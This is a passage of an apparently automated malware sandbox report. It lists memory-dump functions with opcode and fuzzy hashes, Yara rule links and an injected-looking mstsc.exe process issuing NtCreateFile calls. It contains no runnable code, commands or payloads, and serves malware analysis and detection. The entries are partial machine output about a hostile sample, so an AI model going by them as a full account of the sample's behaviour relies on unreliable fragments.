Function 012EA185, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adb17421d72dfd52d687f0e0a46756858b4bfb7dade4fbe15d59e21b62769aed
Instruction ID: 6d703cc05352d1fa272a7a76624f8b8d9afd4097c72c609b474a521ff33a60bc
Opcode Fuzzy Hash: adb17421d72dfd52d687f0e0a46756858b4bfb7dade4fbe15d59e21b62769aed
Instruction Fuzzy Hash: E8D02BE11310005AC62D1300C819B393A5EF790754FFE480CF2034F5E0E950CCD88109

Uniqueness

Uniqueness Score: -1.00%

Function 012E16E0, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a4c303fb45b3a38d008a4cecd2e8a29821a4952a548ee3d4854ae3888a64061
Instruction ID: 751d3276e1d32eb4245751fe79939934d132b8d8ecd1f1c4795c65f34edf72fd
Opcode Fuzzy Hash: 2a4c303fb45b3a38d008a4cecd2e8a29821a4952a548ee3d4854ae3888a64061
Instruction Fuzzy Hash: 59D0A7712601429AEA2D5F159848B282691EB94B85F78007CF307498D0CFB1CCB2E458

Uniqueness

Uniqueness Score: -1.00%

Function 013353CA, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction ID: 455940eda0f1d0c71b88ca46889c144742a280badef494cca6e93ed069f430b3
Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction Fuzzy Hash: CEE08C329506809BDF12DB48C650F6EBBF5FB84B00F150408A1085B660C634AC00CB00

Uniqueness

Uniqueness Score: -1.00%

Function 012CAAB0, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: 2693c6d284e3feb5429993c400e93c603ddd0fa7a356993ac809daf8b594144d
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: 2ED0C935352D80CFD61BCB0CC554B0533B4BB04B44FC50490E600CB722E62CD940CA00

Uniqueness

Uniqueness Score: -1.00%

Function 012E35A1, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction ID: 0b4e64d111e79c0b134b88a5bad5268c1ed2408544b04c215e58049db6246d08
Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction Fuzzy Hash: 18D0A77143118299DB01EB14E13C7F83BF1BB04306FD81059820107652C3364909C600

Uniqueness

Uniqueness Score: -1.00%

Function 012BDB40, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: 14872d9a7d0581886c4522628c49c56e6a39d7aeae3de9a20c83c9cde99ce902
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: FBC08C302A0A42AEEB222F20CD41B903AA0BB10B49F4400A06701DA4F0EB78D801E600

Uniqueness

Uniqueness Score: -1.00%

Function 0133A537, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction ID: 9d4737adf7931a44593a28ac62b43aa2fc2d7941c65618723113998b5a94055f
Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction Fuzzy Hash: 7CC08C33080248BBCB126F81CC00F267F2AFBA4B60F008010FA080B570C632E970EB84

Uniqueness

Uniqueness Score: -1.00%

Function 012D3A1C, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: c511aeb9cf695ee12f7e0a35d6b65198a637bdf6486fa112451e5aaa0c75f855
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: A8C08C32080288BBC7126E41DC00F117B29E7A0B60F004020BA040A9608532EC60D588

Uniqueness

Uniqueness Score: -1.00%

Function 012BAD30, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction ID: e95ec28ba6dc52f701fa4febbdb3aa3773151fa93626b97fc213471ebb7cab46
Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction Fuzzy Hash: D6C02B330C0248BBC7126F45CD00F11BF2DE7A0B60F010020F6040B6B1C936EC60D588

Uniqueness

Uniqueness Score: -1.00%

Function 012C76E2, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction ID: 4aba94f941d00419a52922ebaf3af1be7039266ed51c700ab66a0df581ddf5e1
Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction Fuzzy Hash: 10C08C701611825EFB2A570CCE22B303A50AB08B08FA8029CAB01094E2C36EA802CA08

Uniqueness

Uniqueness Score: -1.00%

Function 012E36CC, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction ID: d7dcc395656a87905632e13172e0a077dd46c10437d5ca970998b221aaffeddf
Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction Fuzzy Hash: 3FC02B70170480FFD7156F30CD40F2472D4F700A22FA403547321468F0D538DC00D504

Uniqueness

Uniqueness Score: -1.00%

Function 012E4190, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 175590c6a7dfeeadbeeb5abb91333881fb225fd9a6b890b8f217439b73e8cc0c
Instruction ID: 982d6e9ce477993b52ba4c8d7797b253d6408e6b1339ca0764e256e0aa237c99
Opcode Fuzzy Hash: 175590c6a7dfeeadbeeb5abb91333881fb225fd9a6b890b8f217439b73e8cc0c
Instruction Fuzzy Hash: 13C04C757115418FCF15DB2AC284F1537E4BB44B48F1508D0E805DB725D724E800CA10

Uniqueness

Uniqueness Score: -1.00%

Function 012D7D50, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction ID: d5a78a619b9ae6ce3dc9635259c024e7f24d643528a056f50c8776f78e96786c
Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction Fuzzy Hash: 22B092353119418FCE16DF18C080B1533E4BB45A44F8400D4E400CBA21D329E8008900

Uniqueness

Uniqueness Score: -1.00%

Function 012E2ACB, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction ID: 0bc71f997c0ed7d7d8b76afa5fef2da9ddc938d846f659b8439f6c01e692a8e9
Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction Fuzzy Hash: 4FB01232C20441CFCF02EF40C610B397731FB00B50F064494910127930C228AC01CB50

Uniqueness

Uniqueness Score: -1.00%

Function 012F9950, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1523bb5d8cd79352ae3fe8f91e0e3ca77f44da0e61b37f306fd6740ec2ce2b23
Instruction ID: 987a4b285b209dd6c9fece63c4858978c33f3fc8be0167a20eb3684c846e5da1
Opcode Fuzzy Hash: 1523bb5d8cd79352ae3fe8f91e0e3ca77f44da0e61b37f306fd6740ec2ce2b23
Instruction Fuzzy Hash: AD9002A520140403D541A5D948147070085A7D0346F51C021A2054559ECAA98C557175

Uniqueness

Uniqueness Score: -1.00%

Function 012F99D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c934a037c7ad160bb271d08e5f76b828cf08eaa463a773de1d60c08cf54fd888
Instruction ID: 1d5965413de36c29a4b9db4879a48539c6722331b7bfbbf748905584511a4f70
Opcode Fuzzy Hash: c934a037c7ad160bb271d08e5f76b828cf08eaa463a773de1d60c08cf54fd888
Instruction Fuzzy Hash: 929002A521100042D505A1D9441470600C5A7E1245F51C022A2144558CC5A98C656165

Uniqueness

Uniqueness Score: -1.00%

Function 012F9820, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f66e5e924c7033f5a8c17c39f2d1f775405cca0c7aed3cc56c1815d9191eb7
Instruction ID: 5a0374f79309ef0362f0bf39b1c86a877515ea14d6c1d89928f66bfb37304ab8
Opcode Fuzzy Hash: d0f66e5e924c7033f5a8c17c39f2d1f775405cca0c7aed3cc56c1815d9191eb7
Instruction Fuzzy Hash: 2690027524100402D542B1D944147060089B7D0285F91C022A0414558EC6D58A5ABAA1

Uniqueness

Uniqueness Score: -1.00%

Function 012FB040, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 079eb1a21a7781e67e15a2135dc1c48974f7a962a42aba87015e3daf0bc44525
Instruction ID: 1a739faf4613a5a556ec15c3bc214964071e4ab8744ccbff3d3eda50bb94ccda
Opcode Fuzzy Hash: 079eb1a21a7781e67e15a2135dc1c48974f7a962a42aba87015e3daf0bc44525
Instruction Fuzzy Hash: EF9002A5601140438941F1D948145065095B7E1345391C131A0444564CC6E88859A2A5

Uniqueness

Uniqueness Score: -1.00%

Function 012F98A0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 022296f07f611662c9702c8b10c810883ae32323dd730f015d06a14a0f7dd2c0
Instruction ID: 0e447693615b4bf6cc6a8e263f74fc8f5d90e1aec50bb804c5148b4d8828fe33
Opcode Fuzzy Hash: 022296f07f611662c9702c8b10c810883ae32323dd730f015d06a14a0f7dd2c0
Instruction Fuzzy Hash: 3A90026530100402D503A1D944247060089E7D1389F91C022E1414559DC6A58957B172

Uniqueness

Uniqueness Score: -1.00%

Function 012F9B00, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba1b2cfb42e438697baa2206782d60ba8e03f206782251017992eff0222318bb
Instruction ID: 5d2dbbeb3767e8bb82dc6ed5d9cbe27ed5b8ae20cbabbbe6e5d2d9fdaf1a322c
Opcode Fuzzy Hash: ba1b2cfb42e438697baa2206782d60ba8e03f206782251017992eff0222318bb
Instruction Fuzzy Hash: 0F90026524100802D541B1D984247070086E7D0645F51C021A0014558DC696896976F1

Uniqueness

Uniqueness Score: -1.00%

Function 012FA3B0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74d512bfcfaa19f766e570a4a44b1eaf6166d128b49c0f2a7efd37c5a432447b
Instruction ID: caca92483083f91a5d363fc5d5e12032b5d193e5300148251d06a1b14a33ab90
Opcode Fuzzy Hash: 74d512bfcfaa19f766e570a4a44b1eaf6166d128b49c0f2a7efd37c5a432447b
Instruction Fuzzy Hash: C490027520144002D541B1D9845470B5085B7E0345F51C421E0415558CC695885AA261

Uniqueness

Uniqueness Score: -1.00%

Function 012F9A10, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1369dc798db065aee7e9911a90c84e44305c8e51a4ae37625228e1053a2646f
Instruction ID: d23450830308a9dc6f1c0aa016d4de592eae5c4c59c725d624c4c2765e50b4b9
Opcode Fuzzy Hash: f1369dc798db065aee7e9911a90c84e44305c8e51a4ae37625228e1053a2646f
Instruction Fuzzy Hash: 1790027520140402D501A1D948187470085A7D0346F51C021A5154559EC6E5C8957571

Uniqueness

Uniqueness Score: -1.00%

Function 012F9A80, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e5902f7e6a61af476ceff08e533c3affe5854670fa01496c2dbaf1d4335e797
Instruction ID: c81e0e16e041e283114117204aae2e1d9814eb670f816282f08d72e025cb4ddc
Opcode Fuzzy Hash: 1e5902f7e6a61af476ceff08e533c3affe5854670fa01496c2dbaf1d4335e797
Instruction Fuzzy Hash: 2190026520144442D541A2D94814B0F4185A7E1246F91C029A4146558CC99588596761

Uniqueness

Uniqueness Score: -1.00%

Function 012F9520, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cab27f486943f39554c83114c22d84338f27f530a275c216e66b56aaf7e96d88
Instruction ID: cd981bad2efcb4019aa87ca931acd2df7b109763980fad15ca2a7752ec080205
Opcode Fuzzy Hash: cab27f486943f39554c83114c22d84338f27f530a275c216e66b56aaf7e96d88
Instruction Fuzzy Hash: 3D9002E5201140928901E2D98414B0A4585A7E0245B51C026E1044564CC5A58855A175

Uniqueness

Uniqueness Score: -1.00%

Function 012FAD30, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50b2b2d38d1c6ebeb6c1a15134de1f15a9267783cdcddbdd0e9c8cd2ad6f00ec
Instruction ID: b447d35f804634e8f1056fc2eef642b9a4c201b255280bcaf0275725d3a627f6
Opcode Fuzzy Hash: 50b2b2d38d1c6ebeb6c1a15134de1f15a9267783cdcddbdd0e9c8cd2ad6f00ec
Instruction Fuzzy Hash: D7900275A0500012D541B1D948247464086B7E0785B55C021A0504558CC9D48A5963E1

Uniqueness

Uniqueness Score: -1.00%

Function 012F9560, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f765822798fab67b4ee6f83f8d3bcd4f599ae4502becac4ec993049838ede50
Instruction ID: 9466532bdd0d6f079b5841cdcbdbc40943a635ce868321514599ace13aa10edb
Opcode Fuzzy Hash: 3f765822798fab67b4ee6f83f8d3bcd4f599ae4502becac4ec993049838ede50
Instruction Fuzzy Hash: 62900269221000024546E5D9061460B04C5B7D6395391C025F1406594CC6A188696361

Uniqueness

Uniqueness Score: -1.00%

Function 012F95F0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 472e36485daa28b45f26d931124d2b233ae0d4b259a12362c753ba2363156acd
Instruction ID: 978528feebd96ef9190a5817b52fd1653294f557383dc4ae54e22b7cf7c850a6
Opcode Fuzzy Hash: 472e36485daa28b45f26d931124d2b233ae0d4b259a12362c753ba2363156acd
Instruction Fuzzy Hash: 1490027520100802D505A1D948147860085A7D0345F51C021A6014659ED6E588957171

Uniqueness

Uniqueness Score: -1.00%

Function 012F9730, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23a5f2f9c0f788e8598f3584585a9ac9af6a7efa105ac7319daaffde4c65f912
Instruction ID: 1d899ff14d2118f4280325ae47419ffc463a87054136d2d473c53f8ba71e1318
Opcode Fuzzy Hash: 23a5f2f9c0f788e8598f3584585a9ac9af6a7efa105ac7319daaffde4c65f912
Instruction Fuzzy Hash: EA90026560500402D541B1D954287060095A7D0245F51D021A0014558DC6D98A5976E1

Uniqueness

Uniqueness Score: -1.00%

Function 012FA710, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab94721afcca2ba73e19680923b989f33b594536419707cf8ae5d4f4ba6f17b5
Instruction ID: 111b73e3450de9c30a65dc11db9848b61df304c30560a8c712eb3cd6ff31c01e
Opcode Fuzzy Hash: ab94721afcca2ba73e19680923b989f33b594536419707cf8ae5d4f4ba6f17b5
Instruction Fuzzy Hash: EB90027530100052D901E6D95814B4A4185A7F0345B51D025A4004558CC5D488656161

Uniqueness

Uniqueness Score: -1.00%

Function 012F9760, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cee0bf55dc0d97138b9d13a594337900eff5f847bfdbcaddc79a68bf8000f706
Instruction ID: c4d159f72cc6528d912e09dc5c961638188185dd135d95cdbbf4d61341d4cd40
Opcode Fuzzy Hash: cee0bf55dc0d97138b9d13a594337900eff5f847bfdbcaddc79a68bf8000f706
Instruction Fuzzy Hash: C390027520100403D501A1D955187070085A7D0245F51D421A041455CDD6D688557161

Uniqueness

Uniqueness Score: -1.00%

Function 012FA770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa1945855c785da3ac06c3a46cc1a86747dd9a902e8fb79e870e0a1e35ddc6ba
Instruction ID: e5fa1a2a81484f8f2d02b5e20ba16258b2d7ac95ac990d8b47eb1d6105026ee0
Opcode Fuzzy Hash: aa1945855c785da3ac06c3a46cc1a86747dd9a902e8fb79e870e0a1e35ddc6ba
Instruction Fuzzy Hash: AD90027920504442D901A5D95814B870085A7D0349F51D421A041459CDC6D48865B161

Uniqueness

Uniqueness Score: -1.00%

Function 012F9770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 491f223840a7cbea0b358063ecbc8efbb3b4b83d8853d939da9ef32f74659c25
Instruction ID: af148214abd016a119103e3bad9e84690bcca47df2e55389970ca19a1d1fbe0b
Opcode Fuzzy Hash: 491f223840a7cbea0b358063ecbc8efbb3b4b83d8853d939da9ef32f74659c25
Instruction Fuzzy Hash: B690026520504442D501A5D95418B060085A7D0249F51D021A1054599DC6B58855B171

Uniqueness

Uniqueness Score: -1.00%

Function 012F9FE0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e27d071b4fe0499ac805cc107147de8a6959c2e3b0a443967002ca59b05ce86d
Instruction ID: 11f7dd02f45f901ffd971f9eb42577386590a564452fcaf7cbcd8f1d7942ac7d
Opcode Fuzzy Hash: e27d071b4fe0499ac805cc107147de8a6959c2e3b0a443967002ca59b05ce86d
Instruction Fuzzy Hash: D590027531114402D511A1D984147060085A7D1245F51C421A081455CDC6D588957162

Uniqueness

Uniqueness Score: -1.00%

Function 012F9610, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e1b0cdb9f4ca8fa9c07428dd3c2e8cd9da7566286ad6e24efc350ab0cc142d5
Instruction ID: c2ba2c9303d2edfbb89fee175b0c4280612f844a557e1cd0e423b6a24faee6e9
Opcode Fuzzy Hash: 8e1b0cdb9f4ca8fa9c07428dd3c2e8cd9da7566286ad6e24efc350ab0cc142d5
Instruction Fuzzy Hash: FA90027560500802D551B1D944247460085A7D0345F51C021A0014658DC7D58A5976E1

Uniqueness

Uniqueness Score: -1.00%

Function 012F9650, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ea9911ba75eb0f3815ffbd80d11a4f472b86becb22f7fcb990823fbd581f69d
Instruction ID: ede60a1c9c9437827b35e0e0bca032ae0f23e8ba24b95ffade31cfe4b724e39b
Opcode Fuzzy Hash: 9ea9911ba75eb0f3815ffbd80d11a4f472b86becb22f7fcb990823fbd581f69d
Instruction Fuzzy Hash: FC90027520504842D541B1D94414B460095A7D0349F51C021A0054698DD6A58D59B6A1

Uniqueness

Uniqueness Score: -1.00%

Function 012F96D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dca53d870332a580cdb7e6a6eee4e5456210cf4a94aa02e0ac3decdd07c5119a
Instruction ID: 17c6c16ca8cbcc6cfa03958d59cc9ce05d046b55927c9e81401c98c3e9b4cd96
Opcode Fuzzy Hash: dca53d870332a580cdb7e6a6eee4e5456210cf4a94aa02e0ac3decdd07c5119a
Instruction Fuzzy Hash: 2590027520100842D501A1D94414B460085A7E0345F51C026A0114658DC695C8557561

Uniqueness

Uniqueness Score: -1.00%

Function 012F9670, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 8d81457e1e80bac416d0df438bdb0e7828432de40945c570d5b7257d30e23d02
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0134FDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0134FDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 0134FE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 0134FE01

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 7ec7409c78c40be265b4a02bcc0eaeca6fdc7a8566df9b2cc8aa56753afad0da
Instruction ID: edb64d0c1f621f438a09706caf61a3825b122ae12b420b026aa9e09af3e596ac
Opcode Fuzzy Hash: 7ec7409c78c40be265b4a02bcc0eaeca6fdc7a8566df9b2cc8aa56753afad0da
Instruction Fuzzy Hash: 3FF0F632640201BFE6201A49DC02F23BF9EEB44B30F150318F628565D1EA62F87087F0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mstsc.exe PID: 3476 Parent PID: 3424 mstsc.exeCOMMON

Executed Functions

Function 00159D60, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,00154B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00154B87,007A002E,00000000,00000060,00000000,00000000), ref: 00159DAD

Strings

.z`, xrefs: 00159D9D, 00159DA8

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: 44a3e015deb4d58e20dc118e1df1343b53117bf8dae9354f8b784345ecc9aecd
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: C6F0B2B2200208ABCB08CF88DC85EEB77ADAF8C754F158248BA1D97241C630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00159DB3, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,00154B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00154B87,007A002E,00000000,00000060,00000000,00000000), ref: 00159DAD

Strings

.z`, xrefs: 00159D9D, 00159DA8

Memory Dump Source

Source File: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 1270986dc5d6271d0335c7e56d4d7975317fa13affcb6f3f03ea065767ab7d81
Instruction ID: cd40e7579a5fe7ce751f2ca4fc243cf14c97be63ccc1885febbfb72fe0ca78dc
Opcode Fuzzy Hash: 1270986dc5d6271d0335c7e56d4d7975317fa13affcb6f3f03ea065767ab7d81
Instruction Fuzzy Hash: C9F0AFB2204109AF8B48CF98D881CEB77BAAF8C704B159219F919EB255D730E851CBA1

Uniqueness

Uniqueness Score: -1.00%

